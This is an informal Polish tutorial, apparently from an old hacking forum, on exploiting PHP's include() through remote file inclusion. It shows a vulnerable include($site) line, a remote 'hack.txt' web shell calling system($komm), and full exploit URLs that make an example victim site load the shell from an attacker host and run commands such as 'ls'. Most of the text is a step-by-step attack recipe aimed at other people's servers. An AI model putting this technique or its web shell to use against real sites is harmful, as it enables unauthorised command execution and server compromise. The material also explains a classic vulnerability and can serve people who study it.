Wykorzystanie błędów w include() |
W tym texcie opisze na czym polegają błędy w wykorzystaniu funkcji PHP jaką jest include()
Tekst napisany wyłącznie przezemnie - napewno nie jest to kopia czyjeś pracy.
Mam nadzieje że ktoś się czegoś dzięki temu nauczy.
Jeśli macie jakieś problemy to: michal@elektrobit.com.pl lub GG# 2222545
Życzy miłego czytania ;)
Aha zaprzaszam na strone www.deep-under.com ;) Greetz for speTZnut
---/ Podstawowe błędy z wykorzystaniem funkcji include() /---
Na początek proponuje przeczytać co powoduje finkcja incude()
http://pl.php.net/function.include
Jak można wykryć taką dziure?? A no np. tak...
http://www.ofiara.com/index.php?site=kontakty.html
Coż to oznacza?? Otóż najprawdopodobniej to że gdzieś w kodzie
strony index.php jest coś takiego:
<?php
include($site);
?>
Niektozy teraz zapytają i co z tego... Ano to że include wstawia w swoje miejsce
kod pliku ktory ma w parametrze (w naszym przypadku będzie to kontakty.html)
jeśli plikiem tym jest plik *.php zostanie on najpierw zinterpretowany przez parser PHP. Jak to wykorzystać?? Może tak...
twożymy na swoim serwerze www ( przyjmijmy że jest nim
http://hack.republika.pl )plik hack.txt o takim kodzie
<?php
system($komm);
?>
a teraz zamiast http://www.ofiara.com/index.php?site=kontakty.html
w miejscu wartoście zmiennej $site wstawiamy adres pliku hack.txt na
naszym serwerze czyli powinno to wyglądać tak
http://www.ofiara.com/index.php?site=http://hack.republika.pl/ha ck.txt
ALE UWAGA trzeba jesce określić zmienną $komm ktora jest w naszym pliku hack.txt
a będzie odpowiedzialna za wyświetlenie wyniku polecenia wywołanym na serwerze.
A więc ostateczny adres ktory powinniśmy wpisać do przglądarki to:
http://www.ofiara.com/index.php?site=http://hack.republika.pl/ha ck.txt&komm=ls
W wyniku tego otrzymamy zawartość folderu w ktorym jest strona index.php
Jak narazie to tyle jeśli ktoś ma ochote może dopisywać kolejne sposoby.
Jeśli coś nie działa piszcie na mail lub na gg ( podałem na górze textu )
[root@localhost]# whoami
Vengeance
[root@localhost]#
Początek formularza
Dół formularza